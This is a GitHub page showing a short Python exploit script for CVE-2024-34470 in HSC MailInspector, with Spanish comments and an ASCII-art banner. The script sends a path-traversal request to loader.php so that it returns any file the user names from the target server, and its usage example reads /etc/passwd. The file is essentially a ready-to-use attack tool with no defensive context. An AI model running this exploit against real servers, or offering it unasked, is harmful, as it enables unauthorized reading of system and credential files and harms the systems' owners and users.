-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCVE-2024-34470.py
49 lines (37 loc) · 1.62 KB
/
CVE-2024-34470.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import sys
import urllib.parse
from colorama import init, Fore
import pyfiglet
# Inicializar colorama para habilitar el soporte de colores ANSI en la terminal
init(autoreset=True)
def obtener_contenido(url_base, path_param):
try:
# Construimos la URL completa con el path_param proporcionado
url_completa = urllib.parse.urljoin(url_base, f"/mailinspector/public/loader.php?path=../../../../../../..{path_param}")
# Realizamos la solicitud GET
response = requests.get(url_completa, verify=False)
# Verificamos si la solicitud fue exitosa (código 200)
if response.status_code == 200:
print(Fore.GREEN + "\n[+] Contenido obtenido:")
print(response.text)
else:
print(f"Error al obtener el contenido. Código de estado: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error en la solicitud: {e}")
if __name__ == "__main__":
# Texto a convertir en ASCII art
texto = "HSC MailInspector"
# Crear un objeto Figlet con el estilo deseado
fig = pyfiglet.Figlet(font='small')
# Imprimir el texto en ASCII art
ascii_art = fig.renderText(texto)
ascii_art_colored = (Fore.CYAN + ascii_art)
print(ascii_art_colored)
print(Fore.YELLOW + "\___________________ CVE-2024-34470 by Mr-r00t ___________________/")
if len(sys.argv) != 3:
print(Fore.GREEN + "\n[+] Uso: python CVE-2024-34470.py http://example.com /etc/passwd")
sys.exit(1)
url_base = sys.argv[1]
path_param = sys.argv[2]
obtener_contenido(url_base, path_param)